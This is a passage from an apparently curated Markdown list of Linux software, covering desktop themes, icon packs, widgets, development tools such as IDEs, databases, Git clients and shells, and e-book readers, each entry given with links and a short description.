BorgBackup with your desktop environment to protect your data from disk failure, ransomware and theft. ### Desktop Customization #### Desktop Icon Packs - [![Open-Source Software][oss icon]](https://github.com/EliverLara/candy-icons) [Candy Icons](https://github.com/EliverLara/candy-icons) - An icon theme colored with sweet gradients. - [![Open-Source Software][oss icon]](https://github.com/daniruiz/Flat-Remix) [Flat Remix](https://github.com/daniruiz/Flat-Remix) - Flat Remix is an icon theme inspired by material design. It is mostly flat using a colorful palette with some shadows, highlights, and gradients for some depth. - [![Open-Source Software][oss icon]](https://github.com/vinceliuice/Fluent-icon-theme) [Fluent Icon Theme](https://github.com/vinceliuice/Fluent-icon-theme) - Fluent icon theme for linux desktops. - [![Open-Source Software][oss icon]](https://github.com/keeferrourke/la-capitaine-icon-theme) [La Capitaine Icon Theme](https://github.com/keeferrourke/la-capitaine-icon-theme) - A macOS and Material design inspired icon theme designed to fit into most desktop environments. - [![Open-Source Software][oss icon]](https://github.com/snwh/moka-icon-theme) [Moka Icon Theme](https://snwh.org/moka) - Moka was created with simplicity in mind. With the use simple geometry & bright colours. - [![Open-Source Software][oss icon]](https://github.com/numixproject/numix-icon-theme) [Numix Icon Theme](https://numixproject.github.io/) - A flat icon theme that comes in two varieties, Numix Main, and Numix circle. - [![Open-Source Software][oss icon]](https://github.com/PapirusDevelopmentTeam/papirus-icon-theme) [Papirus Icon Theme](https://github.com/PapirusDevelopmentTeam/papirus-icon-theme) - SVG icon theme for Linux systems, based on Paper with a few extras like (hardcode-tray support, kde-color-scheme support, libreoffice icon theme, filezilla theme, smplayer themes, ...) and other modifications. The theme is available for GTK and KDE. - [![Open-Source Software][oss icon]](https://github.com/vinceliuice/Qogir-icon-theme) [Qogir Icon Theme](https://github.com/vinceliuice/Qogir-icon-theme) - A flat colorful design icon theme for linux desktops. - [![Open-Source Software][oss icon]](https://github.com/yeyushengfan258/Reversal-icon-theme) [Reversal Icon Theme](https://github.com/yeyushengfan258/Reversal-icon-theme) - A colorful design icon theme for linux desktops. - [![Open-Source Software][oss icon]](https://github.com/vinceliuice/Tela-icon-theme) [Tela Icon Theme](https://github.com/vinceliuice/Tela-icon-theme) - A flat colorful Design icon theme. - [![Open-Source Software][oss icon]](https://github.com/vinceliuice/WhiteSur-icon-theme) [WhiteSur Icon Theme](https://github.com/vinceliuice/WhiteSur-icon-theme) - MacOS Big Sur style icon theme for linux desktops. - [![Open-Source Software][oss icon]](https://github.com/zayronxio/Zafiro-icons) [Zafiro Icons](https://github.com/zayronxio/Zafiro-icons) - Minimalist icons created with the flat-desing technique, utilizing washed out colors and always accompanied by white. #### Desktop Themes - [![Open-Source Software][oss icon]](https://github.com/EliverLara/Ant) [Ant Theme](https://github.com/EliverLara/Ant) - Ant is a flat GTK theme for Ubuntu and other GNOME-based Linux desktops it comes in three varieties: vanilla, Bloody, or Dracula. - [![Open-Source Software][oss icon]](https://github.com/jnsh/arc-theme) [Arc Theme](https://github.com/jnsh/arc-theme) - A flat theme with transparent elements. - [![Open-Source Software][oss icon]](https://github.com/catppuccin) [Catppuccin](https://github.com/catppuccin) - Catppuccin is a community-driven pastel theme that aims to be the middle ground between low and high contrast themes. - [![Open-Source Software][oss icon]](https://github.com/dracula/gtk) [Dracula](https://draculatheme.com/gtk) - A dark theme using the awesome Dracula color pallete. - [![Open-Source Software][oss icon]](https://github.com/daniruiz/Flat-Remix-GTK) [Flat Remix](https://github.com/daniruiz/Flat-Remix-GTK) - Flat Remix is a GTK application theme inspired by material design. - [![Open-Source Software][oss icon]](https://github.com/vinceliuice/Graphite-gtk-theme) [Graphite](https://github.com/vinceliuice/Graphite-gtk-theme) - Graphite GTK theme. - [![Open-Source Software][oss icon]](https://github.com/Fausto-Korpsvart/Gruvbox-GTK-Theme) [Gruvbox](https://github.com/Fausto-Korpsvart/Gruvbox-GTK-Theme) - A GTK theme based on the Gruvbox colour palette. - [![Open-Source Software][oss icon]](https://github.com/EliverLara/Kimi) [Kimi](https://github.com/EliverLara/Kimi) - Kimi is a light Gtk3.20+ theme. - [![Open-Source Software][oss icon]](https://github.com/vinceliuice/Layan-gtk-theme) [Layan](https://github.com/vinceliuice/Layan-gtk-theme) - Layan is a flat Material Design theme for GTK 3, GTK 2 and Gnome-Shell which supports GTK 3 and GTK 2 based desktop environments like Gnome, Budgie, etc. - [![Open-Source Software][oss icon]](https://github.com/material-ocean/material-ocean) [Material Ocean Theme](https://github.com/material-ocean/material-ocean) - A material design theme with oceanic colors(GTK, QT). - [![Open-Source Software][oss icon]](https://github.com/vinceliuice/Mojave-gtk-theme) [Mojave GTK Theme](https://github.com/vinceliuice/Mojave-gtk-theme) - Mojave is a Mac OSX like theme for GTK 3, GTK 2 and GNOME-Shell which supports GTK 3 and GTK 2 based desktop environments like GNOME, Pantheon, XFCE, Mate, etc. - [![Open-Source Software][oss icon]](https://github.com/EliverLara/Nordic) [Nordic](https://github.com/EliverLara/Nordic) - Dark Gtk3.20+ theme created using the awesome Nord color pallete. - [![Open-Source Software][oss icon]](https://github.com/vinceliuice/Orchis-theme) [Orchis theme](https://github.com/vinceliuice/Orchis-theme) - Orchis is a Material Design theme for GNOME/GTK based desktop environments. - [![Open-Source Software][oss icon]](https://github.com/vinceliuice/Qogir-theme) [Qogir](https://github.com/vinceliuice/Qogir-theme) - Qogir is a flat Design theme for GTK. - [![Open-Source Software][oss icon]](https://github.com/EliverLara/Sweet) [Sweet](https://github.com/EliverLara/Sweet) - Light and dark colorful Gtk3.20+ theme. - [![Open-Source Software][oss icon]](https://github.com/vinceliuice/WhiteSur-gtk-theme) [WhiteSur GTK Theme](https://github.com/vinceliuice/WhiteSur-gtk-theme) - MacOS Big Sur like theme for GNOME desktops. #### Desktop Widgets and Theme Utilities - [![Open-Source Software][oss icon]](https://github.com/brndnmtthws/conky) [Conky](https://conky.cc/) - Conky is a free, light-weight system monitor for X, that displays any kind of information on your desktop. - [![Open-Source Software][oss icon]](https://github.com/mjakeman/extension-manager) [Extension Manager](https://github.com/mjakeman/extension-manager) - A utility for browsing and installing GNOME Shell Extensions. - [GNOME Extensions](https://extensions.gnome.org/) - Extensions for the GNOME Desktop Environment. - [GNOME Look](https://www.gnome-look.org/) - A website that hosts a Large amounts of community created icons, shell themes, fonts, and many more assets that can be used to customize your GNOME desktop environment. - [![Open-Source Software][oss icon]](https://github.com/GradienceTeam/Gradience) [Gradience](https://gradienceteam.github.io/) - Gradience is a tool for customizing Libadwaita applications and the adw-gtk3 theme. - [![Open-Source Software][oss icon]](https://github.com/bilelmoussaoui/Hardcode-Tray) [Hardcode Tray](https://github.com/bilelmoussaoui/Hardcode-Tray) - This script fixes hardcoded tray icons in Linux by automatically detecting your default theme, the right icon size, the hard-coded applications, the right icons for each indicator and fix them. - [![Open-Source Software][oss icon]](https://github.com/LemonBoy/bar) [Lemonbar](https://github.com/LemonBoy/bar) - Super fast, lightweight, and mnml status bar for Linux. - [![Open-Source Software][oss icon]](https://github.com/realmazharhussain/gdm-settings) [Login Manager Settings](https://realmazharhussain.github.io/gdm-settings/) - A settings app for GNOME's Login Manager, GDM. - [![Open-Source Software][oss icon]](https://github.com/themix-project/oomox) [Oomox theme generator](https://github.com/themix-project/oomox) - A Graphical application for generating different color variations of a Numix-based and Flat-Plat themes (GTK2, GTK3), GNOME-Colors and Archdroid icons. - [![Open-Source Software][oss icon]](https://www.opencode.net/dfn2/pling-store-development) [Pling Store](https://www.pling.com/) - Desktop app of openDesktop.org, which is one of the largest communities where developers and artists share applications, themes and other content. - [![Open-Source Software][oss icon]](https://github.com/jaagr/polybar) [Polybar](https://polybar.github.io/) - Fast and easy-to-use status bar. - [![Open-Source Software][oss icon]](https://github.com/deviantfero/wpgtk) [Wpgtk](https://deviantfero.github.io/wpgtk) - A universal theming software for all themes defined in text files, compatible with all terminals, with default themes for GTK2, GTK+, openbox and Tint2 that uses pywal as it's core for colorscheme generation. ### Development #### Android - [![Open-Source Software][oss icon]](https://github.com/anbox/anbox) [Anbox](https://anbox.io) - Run Android applications on any GNU/Linux operating system. - [![Open-Source Software][oss icon]](https://android.googlesource.com/platform/tools/base/+/studio-master-dev/source.md) [Android Studio](https://developer.android.com/studio/) - The Official IDE for Android: Android Studio provides the fastest tools for building apps on every type of Android device. - [![Open-Source Software][oss icon]](https://github.com/waydroid/waydroid) [Waydroid](https://waydro.id/) - Waydroid uses a container-based approach to boot a full Android system on a regular GNU/Linux system like Ubuntu. #### C\+\+ - ![Non Free][money icon] [CLion](https://www.jetbrains.com/clion/) - A cross-platform and powerful IDE for C/C++. - [![Open-Source Software][oss icon]](https://sourceforge.net/p/codeblocks/code/HEAD/tree/) [Code::Blocks](http://www.codeblocks.org/) - Code::Blocks is a free C/C++ and Fortran IDE built to meet the most demanding needs of its users. It is designed to be very extensible and fully configurable. - [![Open-Source Software][oss icon]](https://wiki.codelite.org/pmwiki.php/Main/Repositories) [CodeLite](https://codelite.org/) - A Free, open source, cross platform C/C++, PHP and Node.js IDE. - [![Open-Source Software][oss icon]](https://github.com/qt-creator/qt-creator) [QT Creator](https://www.qt.io/qt-features-libraries-apis-tools-and-ide/) - Fully-stocked cross-platform integrated development environment for easy creation of connected devices, UIs and applications. #### Database - [![Open-Source Software][oss icon]](https://github.com/apache/cassandra) [Cassandra](https://cassandra.apache.org/) - Apache Cassandra database is the right choice when you need scalability and high availability without compromising performance. Linear scalability and proven fault-tolerance on commodity hardware or cloud infrastructure make it the perfect platform for mission-critical data. - [![Open-Source Software][oss icon]](https://github.com/apache/couchdb) [CouchDB](https://couchdb.apache.org/) - Seamless multi-master sync, that scales from Big Data to Mobile, with an Intuitive HTTP/JSON API and designed for Reliability. - [DataGrip](https://www.jetbrains.com/datagrip/) - DataGrip is a cross-platform IDE that is aimed at DBAs and developers working with SQL databases. It has built-in drivers that support DB2, Derby, H2, HSQLDB, MySQL, Oracle, PostgreSQL, SQL Server, Sqlite and Sybase. - [![Open-Source Software][oss icon]](https://github.com/dbeaver/dbeaver) [DBeaver](https://dbeaver.io/) - A universal database client supporting multiple platforms and databases. - [![Open-Source Software][oss icon]](https://invent.kde.org/office/kexi) [Kexi](https://calligra.org/kexi/) - Kexi is an open source visual database applications creator, a long-awaited competitor for programs like MS Access or Filemaker. - [![Open-Source Software][oss icon]](https://mariadb.org/get-involved/getting-started-for-developers/) [MariaDB](https://mariadb.org/) - One of the most popular database servers. Made by the original developers of MySQL. - [![Open-Source Software][oss icon]](https://github.com/mongodb/mongo) [MongoDB](https://www.mongodb.com/) - MongoDB is a free and open-source cross-platform document-oriented database program, uses JSON-like documents with schemas. - [![Open-Source Software][oss icon]](https://github.com/dbcli/mycli) [MyCLI](https://www.mycli.net/) - MyCLI is a command line interface for MySQL, MariaDB, and Percona with auto-completion and syntax highlighting. - [![Open-Source Software][oss icon]](https://github.com/mysql/mysql-server) [MySQL](https://dev.mysql.com/doc/refman/5.7/en/linux-installation.html) - MySQL is the world's leading open source database thanks to its proven performance, reliability and ease-of-use. It is used by high profile web properties including Facebook, Twitter, YouTube, Yahoo! and many more. - [![Open-Source Software][oss icon]](https://github.com/mysql/mysql-workbench) [MySQL Workbench](https://www.mysql.com/products/workbench/) - MySQL Workbench is a unified visual tool for database architects, developers, and DBAs. MySQL Workbench provides data modeling, SQL development, and comprehensive administration tools for server configuration, user administration, backup, and much more. - [![Open-Source Software][oss icon]](https://github.com/OmniDB/OmniDB) [OmniDB](https://github.com/OmniDB/OmniDB) - Browser-based tool that visually create, manage, and view databases. - ![Non Free][money icon] [OracleDB](https://www.oracle.com/technetwork/database/enterprise-edition/downloads/index.html) - Object-relational database management system produced and marketed by Oracle Corporation, one of the most trusted and widely-used relational database engines. - [![Open-Source Software][oss icon]](https://github.com/percona/percona-server-mongodb) [Percona MongoDB](https://www.percona.com/software/mongo-database/percona-server-for-mongodb) - Percona Server for MongoDB provides all features and benefits of MongoDB Community Server. - [![Open-Source Software][oss icon]](https://github.com/percona/pmm-server) [Percona Monitoring](https://www.percona.com/software/database-tools/percona-monitoring-and-management) - Percona Monitoring and Management (PMM) is a free and open-source platform for managing and monitoring MySQL, MariaDB and MongoDB performance. You can run PMM in your own environment for maximum security and reliability. It provides thorough time-based analysis for MySQL, MariaDB and MongoDB servers to ensure that your data works as efficiently as possible. - [![Open-Source Software][oss icon]](https://github.com/percona/percona-server) [Percona MySQL](https://www.percona.com/software/mysql-database/percona-server) - Percona Server for MySQL is a free, fully compatible, enhanced, open source drop-in replacement for MySQL that provides superior performance, scalability and instrumentation. - [![Open-Source Software][oss icon]](https://github.com/percona/percona-xtradb-cluster) [Percona XtraDB Cluster](https://www.percona.com/software/mysql-database/percona-xtradb-cluster) - Percona XtraDB Cluster is an active/active high availability and high scalability open source solution for MySQL clustering. It integrates Percona Server and Percona XtraBackup with the Codership Galera library of MySQL high availability solutions in a single package that enables you to create a cost-effective MySQL high availability cluster. - [![Open-Source Software][oss icon]](https://github.com/dbcli/pgcli) [pgcli](https://www.pgcli.com/) - Pgcli is a command line interface for Postgres with auto-completion and syntax highlighting. - [![Open-Source Software][oss icon]](https://github.com/postgres/postgres) [PostgreSQL](https://www.postgresql.org/download/) - PostgreSQL is a powerful, open source object-relational database system with more than 15 year development. PostgreSQL is not controlled by any corporation or other private entity and the source code is available free of charge. - [![Open-Source Software][oss icon]](https://www.sqlite.org/src/doc/trunk/README.md) [Sqlite](https://sqlite.org/download.html) - SQLite is an in-process library that implements a self-contained, serverless, zero-configuration, transactional SQL database engine. - [![Open-Source Software][oss icon]](https://github.com/sqlitebrowser/sqlitebrowser) [Sqlite Browser](https://sqlitebrowser.org/) - Visually create, manage, and view sqlite database files. #### Game Engines - [![Open-Source Software][oss icon]](https://github.com/defold/defold) [Defold](https://defold.com/) - Defold is a completely free to use game engine for development of desktop, mobile and web games. - [![Open-Source Software][oss icon]](https://github.com/AchetaGames/Epic-Asset-Manager) [Epic Asset Manager](https://github.com/AchetaGames/Epic-Asset-Manager) - An unofficial client to install Unreal Engine, download and manage purchased assets, projects, plugins and games from the Epic Games Store. - [GameMaker](https://gamemaker.io/en/gamemaker) - The Ultimate 2D Game Development Environment. - [![Open-Source Software][oss icon]](https://github.com/godotengine) [Godot Engine](https://godotengine.org/) - Godot provides a huge set of common tools, so you can just focus on making your game without reinventing the wheel. - [![Open-Source Software][oss icon]](https://github.com/o3de/o3de/) [Open 3D Engine](https://www.o3de.org/) - Open 3D Engine (O3DE) is a modular, open source, cross-platform 3D engine built to power anything from AAA games to cinema-quality 3D worlds to high-fidelity simulations. - [Unity](https://unity.com/) - The world’s leading platform for real-time content creation. - [Unreal Engine](https://www.unrealengine.com/en-US) - The world’s most open and advanced real-time 3D creation tool. #### Git - [![Open-Source Software][oss icon]](https://git.zx2c4.com/cgit/refs/tags) [cgit](https://git.zx2c4.com/cgit/about/) - A hyperfast web frontend for git repositories written in C. - [![Open-Source Software][oss icon]](https://codeberg.org/forgejo/forgejo) [Forgejo](https://forgejo.org/) - Forgejo is a self-hosted lightweight software forge. It is a "soft" fork of Gitea with a focus on scaling, federation and privacy. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/GNOME/giggle/) [Giggle](https://wiki.gnome.org/action/show/Apps/giggle) - Giggle is a graphical frontend for the git content tracker. - [![Open-Source Software][oss icon]](https://github.com/Gisto/Gisto) [Gisto](https://www.gistoapp.com/) - Gisto is a code snippet manager that runs on GitHub Gists and adds additional features such as searching, tagging and sharing gists while including a rich code editor. - [![Open-Source Software][oss icon]](https://github.com/git/git) [Git](https://git-scm.com/) - Git is a free and open source distributed version control system designed to handle everything from small to very large projects with speed and efficiency. - [![Open-Source Software][oss icon]](https://github.com/git-cola/git-cola) [GitCola](https://git-cola.github.io/) - Git Cola is a sleek and powerful graphical Git client. Written in Python and GPL-licensed. - [![Open-Source Software][oss icon]](https://github.com/go-gitea/) [Gitea](https://gitea.io/en-us/) - Gitea is a community managed lightweight code hosting solution written in Go. It is published under the MIT license. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/GNOME/gitg) [Gitg](https://wiki.gnome.org/Apps/Gitg) - Gitg is the GNOME GUI client to view git repositories. - ![Nonfree][freeware icon]![Nonfree][money icon] [GitKraken](https://www.gitkraken.com/) - The downright luxurious Git GUI client for Windows, Mac & Linux. - [![Open-Source Software][oss icon]](https://github.com/gitlabhq/gitlabhq) [GitLab](https://github.com/gitlabhq/gitlabhq) - GitLab is a web-based Git repository manager with wiki and issue tracking features. - [![Open-Source Software][oss icon]](https://github.com/sitaramc/gitolite) [Gitolite](http://gitolite.com/gitolite/index.html) - Gitolite allows you to setup git hosting on a central server, with fine-grained access control and many more powerful features. - [![Open-Source Software][oss icon]](https://github.com/gogs/gogs) [Gogs](https://gogs.io/) - A painless self-hosted Git service. - [![Open-Source Software][oss icon]](https://github.com/jesseduffield/lazygit) [lazygit](https://github.com/jesseduffield/lazygit) - A simple terminal UI for git commands, written in Go with the gocui library. - ![Nonfree][money icon] [SmartGit](https://www.syntevo.com/smartgit/) - SmartGit is a Git client with support for GitHub Pull Requests+Comments and SVN. #### Golang - ![Non Free][money icon] [GoLand](https://www.jetbrains.com/go/) - Commercial IDE by JetBrains aimed at providing an ergonomic environment for Go development. - [![Open-Source Software][oss icon]](https://github.com/visualfc/liteide) [LiteIDE X](http://liteide.org/en/) - LiteIDE is a simple, open source, cross-platform Go IDE. #### Java - [![Open-Source Software][oss icon]](https://www.bluej.org/versions.html) [BlueJ](https://bluej.org/) - A free Java Development Environment designed for beginners, used by millions worldwide. - [![Open-Source Software][oss icon]](https://git.eclipse.org/c/) [Eclipse](https://eclipse.org/ide/) - Eclipse is famous for our Java Integrated Development Environment (IDE), but can also download packages to support C/C++ IDE and PHP IDE. - [![Open-Source Software][oss icon]](https://github.com/JetBrains/intellij-community) [IntelliJ IDEA Community](https://www.jetbrains.com/idea/) - Open source IDE by Jetbrains for JVM and Android development. - ![Non Free][money icon] [IntelliJ IDEA Ultimate](https://www.jetbrains.com/idea/) - Commercial IDE by Jetbrains for web and enterprise JAVA development. #### Javascript - ![Non Free][money icon] [Webstorm](https://www.jetbrains.com/webstorm/) - Powerful IDE for modern JavaScript development, made by JetBrains. #### Microcomputer and Embedded Devices - [![Open-Source Software][oss icon]](https://github.com/arduino/arduino-ide) [Arduino IDE](https://www.arduino.cc/en/Main/Software) - The open-source Arduino Software (IDE) makes it easy to write code and upload it to the board. - [![Open-Source Software][oss icon]](https://github.com/fritzing/fritzing-app) [Fritzing](http://fritzing.org/) - Fritzing is an open-source hardware initiative that makes electronics accessible as a creative material for anyone. - [![Open-Source Software][oss icon]](https://github.com/Sloeber/arduino-eclipse-plugin) [Sloeber IDE](https://eclipse.baeyens.it/) - Sloeber IDE. The Arduino IDE for Eclipse. #### Multiple Languages Support - [![Open-Source Software][oss icon]](https://github.com/aptana) [Aptana](http://www.aptana.com/) - Aptana Studio harnesses the flexibility of Eclipse and focuses it into a powerful web development engine. - [![Open-Source Software][oss icon]](https://invent.kde.org/kdevelop/kdevelop) [KDevelop](https://www.kdevelop.org/) - It is a free, open source IDE, feature-full, plugin extensible IDE for C/C++ and other programming languages. - [![Open-Source Software][oss icon]](http://www.monodevelop.com/developers/) [MonoDevelop](https://www.monodevelop.com/) - Cross platform IDE for C#, F# and more. - [![Open-Source Software][oss icon]](https://netbeans.apache.org/participate/index.html) [Netbeans](https://netbeans.apache.org/download/index.html) - NetBeans IDE lets you quickly and easily develop Java desktop, mobile, and web applications, as well as HTML5 applications with HTML, JavaScript, and CSS. - [![Open-Source Software][oss icon]](https://pantsbuild.org/) [Pants Build](https://www.pantsbuild.org/) - Powerful build system for Python, JVM, Go and more, relies on static analysis instead of boilerplate to make adoption and use easy. #### PHP - ![Nonfree][money icon] [PHPStorm](https://www.jetbrains.com/phpstorm/) - Lightning-smart and powerful PHP IDE from Jetbrains. #### Python - [![Open-Source Software][oss icon]](https://github.com/JetBrains/intellij-community/tree/master/python) [PyCharm Community](https://www.jetbrains.com/pycharm/) - Open source IDE by Jetbrains for pure Python development. - ![Non Free][money icon] [PyCharm Professional](https://www.jetbrains.com/pycharm/) - Commercial IDE by Jetbrains for scientific and web Python development. #### Ruby - ![Non Free][money icon] [RubyMine](https://www.jetbrains.com/ruby/) - Professional Ruby and Rails IDE. #### Shell - [![Open-Source Software][oss icon]](https://github.com/fish-shell/fish-shell) [Fish](https://fishshell.com/) - A smart and user-friendly command-line shell. - [![Open-Source Software][oss icon]](https://github.com/jorgebucaran/fisher) [Fisher](https://github.com/jorgebucaran/fisher) - A plugin manager for fish shell. - [![Open-Source Software][oss icon]](https://github.com/ipython/ipython) [Ipython](https://ipython.org/) - Powerful Python shell. - [![Open-Source Software][oss icon]](https://github.com/nushell/nushell) [nushell](https://www.nushell.sh/) - A new type of shell. - [![Open-Source Software][oss icon]](https://github.com/oh-my-fish/oh-my-fish) [Oh-my-fish](https://github.com/oh-my-fish/oh-my-fish) - Provides various packages and themes to extend the functionality of your fish shell. - [![Open-Source Software][oss icon]](https://github.com/robbyrussell/oh-my-zsh) [Oh-my-zsh](https://ohmyz.sh/) - A delightful community-driven framework for managing your zsh configuration. - [![Open-Source Software][oss icon]](https://github.com/oilshell/oil) [oilshell](https://github.com/oilshell/oil) - Oil is a new Unix shell for Python and JavaScript users who avoid shell!. - [![Open-Source Software][oss icon]](https://github.com/koalaman/shellcheck) [Shellcheck](https://www.shellcheck.net/) - ShellCheck, a static analysis tool for shell scripts. - [![Open-Source Software][oss icon]](http://sourceforge.net/p/zsh/code/ci/master/tree/) [Zsh](https://www.zsh.org/) - A powerful command line shell. #### Supporting Tools - [![Open-Source Software][oss icon]](https://github.com/kspalaiologos/bzip3) [bzip3](https://github.com/kspalaiologos/bzip3) - A versatile statistical compressor with better compression ratio than standard Linux tools (gzip, bzip2, etc...). - [![Open-Source Software][oss icon]](https://github.com/GeopJr/Collision) [Collision](https://collision.geopjr.dev/) - Collision comes with a simple & clean UI, allowing anyone, from any age and experience group, to generate, compare and verify MD5, SHA-256, SHA-512 and SHA-1 hashes. - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/cscope/) [Cscope](http://cscope.sourceforge.net/) - Cscope is a developer's tool for browsing source code. Although cmd-line application, it is nativelly integrated with Vim editor. It allows searching code for symbols, definitions, functions (called/calling), regex, files. - [![Open-Source Software][oss icon]](https://github.com/Huluti/Curtail) [Curtail](https://apps.gnome.org/app/com.github.huluti.Curtail/) - Curtail is an useful image compressor, supporting PNG, JPEG and WEBP file types. - [![Open-Source Software][oss icon]](https://github.com/qarmin/czkawka) [Czkawka](https://github.com/qarmin/czkawka) - Multi functional app to find duplicates, empty folders, similar images etc. - [![Open-Source Software][oss icon]](https://github.com/cytopia/devilbox) [Devilbox](https://github.com/cytopia/devilbox) - The devilbox is a modern and highly customisable dockerized PHP stack supporting full LAMP and MEAN and running on all major platforms. The main goal is to easily switch and combine any version required for local development. - [![Open-Source Software][oss icon]](https://github.com/dialect-app/dialect/) [Dialect](https://apps.gnome.org/app/app.drey.Dialect/) - A translation app for GNOME. - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/diffuse/files/?source=navbar) [Diffuse](http://diffuse.sourceforge.net/) - Diffuse is a graphical tool for comparing and merging text files. It can retrieve files for comparison from Bazaar, CVS, Darcs, Git, Mercurial, Monotone, RCS, Subversion, and SVK repositories. - [![Open-Source Software][oss icon]](https://github.com/docker/desktop-linux) [Docker](https://docs.docker.com/desktop/linux/install/) - Docker is a set of platform as a service products that use OS-level virtualization to deliver software in packages called containers. - [![Open-Source Software][oss icon]](https://www.fossil-scm.org/index.html/dir?ci=tip) [Fossil](https://www.fossil-scm.org) - Self-contained, distributed software configuration management system with integrated bug-tracking, wiki, technotes and web interface. - [![Open-Source Software][oss icon]](https://github.com/gaphor/gaphor) [Gaphor](https://gaphor.org) - A simple and fast software and systems modeling tool. - ![Nonfree][money icon] [Genymotion](https://www.genymotion.com/desktop/) - Genymotion is a fast third-party emulator that can be used instead of the default Android emulator. - [![Open-Source Software][oss icon]](https://phabricator.kde.org/source/heaptrack/repository/master/) [Heaptrack](https://phabricator.kde.org/source/heaptrack/repository/master/) - A heap memory profiler for Linux. - [![Open-Source Software][oss icon]](https://github.com/WindSoilder/hors) [hors](https://github.com/WindSoilder/hors) - Instant coding answers via the command line. - [![Open-Source Software][oss icon]](https://github.com/Kong/insomnia) [Insomnia](https://insomnia.rest/) - A simple, beautiful, and free REST API client. - [![Open-Source Software][oss icon]](https://jupyter.readthedocs.io/en/latest/install.html) [Jupyter Notebook](https://jupyter.org/) - An open source program that provides interactive data and scientific computing information across over 40 programming languages. - [![Open-Source Software][oss icon]](https://github.com/jesseduffield/lazydocker) [lazydocker](https://github.com/jesseduffield/lazydocker) - A simple terminal UI for both docker and docker-compose, written in Go with the gocui library. - [![Open-Source Software][oss icon]](https://gitlab.gnome.org/GNOME/meld/tree/main) [Meld](https://meldmerge.org/) - Meld is a visual diff and merge tool that helps you compare files, directories, and version controlled projects. - [![Open-Source Software][oss icon]](https://gitlab.com/rmnvgr/metadata-cleaner/) [Metadata Cleaner](https://metadatacleaner.romainvigier.fr/) - This tool allows you to view metadata in your files and to get rid of it, as much as possible. - [Mockingbot](https://mockingbot.com) - Mockingbot is an easy-to-use prototyping tool. - [![Open-Source Software][oss icon]](https://invent.kde.org/utilities/okteta) [Okteta](https://apps.kde.org/okteta/) - Hex Editor for viewing and editing the raw data of files. - [![Open-Source Software][oss icon]](https://github.com/evolus/pencil) [Pencil](https://pencil.evolus.vn/) - An open-source GUI prototyping tool that's available for ALL platforms. - [![Open-Source Software][oss icon]](https://github.com/stuartlangridge/ColourPicker) [Pick](https://kryogenix.org/code/pick/) - Simple color picker. - [Postman](https://www.getpostman.com) - Postman, allows a user to develop and test APIs quickly. - [![Open-Source Software][oss icon]](https://github.com/rabbitvcs/rabbitvcs) [Rabbit VCS](http://rabbitvcs.org/) - RabbitVCS is a set of graphical tools written to provide simple and straightforward access to the version control systems you use. - [![Open-Source Software][oss icon]](https://github.com/CoatiSoftware/Sourcetrail) [Sourcetrail](https://www.sourcetrail.com/) - Sourcetrail is a free and open-source cross-platform source explorer that helps you get productive on unfamiliar source code. - ![Non Free][money icon] [StarUML](http://staruml.io/) - A sophisticated software modeler. - [![Open-Source Software][oss icon]](https://github.com/uncrustify/uncrustify) [Uncrustify](http://uncrustify.sourceforge.net/) - Source Code Beautifier for C/C++, C#, ObjectiveC, D, Java, Pawn and VALA. See UniversalIndentGUI below. - [![Open-Source Software][oss icon]](https://sourceforge.net/projects/universalindent/files/uigui/) [UniversalIndentGUI](http://universalindent.sourceforge.net/) - UniversalIndentGUI offers a live preview for setting the parameters of nearly any indenter. - [![Open-Source Software][oss icon]](https://sourceware.org/git/?p=valgrind.git) [Valgrind](http://valgrind.org/) - Valgrind is a GPL'd system for debugging and profiling Linux programs. - ![Nonfree][money icon] [Vershd](https://vershd.io/) - Vershd is the free for personal use effortless Git GUI for Windows, Mac, & Linux. - [![Open-Source Software][oss icon]](https://www.gnu.org/software/wdiff/devguide) [Wdiff](https://www.gnu.org/software/wdiff/) - The GNU wdiff program is a front end to diff for comparing files on a word per word basis. It collects the diff output and uses it to produce a nicer display of word differences between the original files. - [![Open-Source Software][oss icon]](https://gitlab.com/wireshark/wireshark/-/tree/master) [Wireshark](https://www.wireshark.org/) - Wireshark is the world's foremost network protocol analyzer. It lets you see what's happening on your network at a microscopic level. It is the de facto (and often de jure) standard across many industries and educational institutions. - [![Open-Source Software][oss icon]](https://github.com/sonnyp/Workbench) [Workbench](https://apps.gnome.org/app/re.sonny.Workbench/) - Workbench goal is to let you experiment with GNOME technologies, no matter if tinkering for the first time or building and testing a custom GTK widget. - [![Open-Source Software][oss icon]](https://github.com/zealdocs/zeal) [Zeal](https://zealdocs.org/) - Zeal is an offline documentation browser for software developers. ### E-Book Utilities - [![Open-Source Software][oss icon]](https://github.com/babluboy/bookworm) [Bookworm](https://babluboy.github.io/bookworm/) - A simple, focused eBook reader. - [![Open-Source Software][oss icon]](https://github.com/oguzhaninan/Buka) [Buka](https://github.com/oguzhaninan/Buka/) - A program for EBook Management. - [![Open-Source Software][oss icon]](https://github.com/kovidgoyal/calibre) [Calibre](https://calibre-ebook.com/) - Incredibly ugly but powerful software for ebook management and conversion. - [![Open-Source Software][oss icon]](https://github.com/janeczku/calibre-web) [Calibre-web](https://github.com/janeczku/calibre-web) - Calibre Web is a web app providing a clean interface for browsing, reading and downloading eBooks using an existing Calibre database. - [![Open-Source Software][oss icon]](https://github.com/michaldaniel/Ebook-Viewer) [Easy Ebook Viewer](https://github.com/michaldaniel/Ebook-Viewer) - Modern GTK Python Ebook Reader app to easily read epub files. - [![Open-Source Software][oss icon]](https://wiki.gnome.org/Apps/Evince/GettingEvince) [Evince](https://wiki.gnome.org/Apps/Evince) - Evince is a document viewer for multiple document formats. The goal of evince is to replace the multiple document viewers that exist on the GNOME Desktop with a single simple application. - [![Open-Source Software][oss icon]](https://github.com/geometer/FBReader) [FBReader](https://fbreader.org/content/fbreader-beta-linux-desktop) - One of the most popular eReader apps. - [![Open-Source Software][oss icon]](https://github.com/johnfactotum/foliate) [Foliate](https://johnfactotum.github.io/foliate/) - Foliate is a simple and modern GTK eBook viewer. - [Foxit](https://www.foxitsoftware.com/pdf-reader/) - Foxit Reader 8.0—Award-winning PDF Reader. - [![Open-Source Software][oss icon]](https://github.com/martahilmar/gnome-books) [GNOME Books](https://github.com/martahilmar/gnome-books) - GNOME Books is application for listing, searching and reading eBooks. - [![Open-Source Software][oss icon]](https://www.willus.com/k2pdfopt/src) [K2pdfopt](https://www.willus.com/k2pdfopt) - K2pdfopt optimizes PDF/DJVU files for mobile e-readers (e.g. the Kindle) and smartphones. - 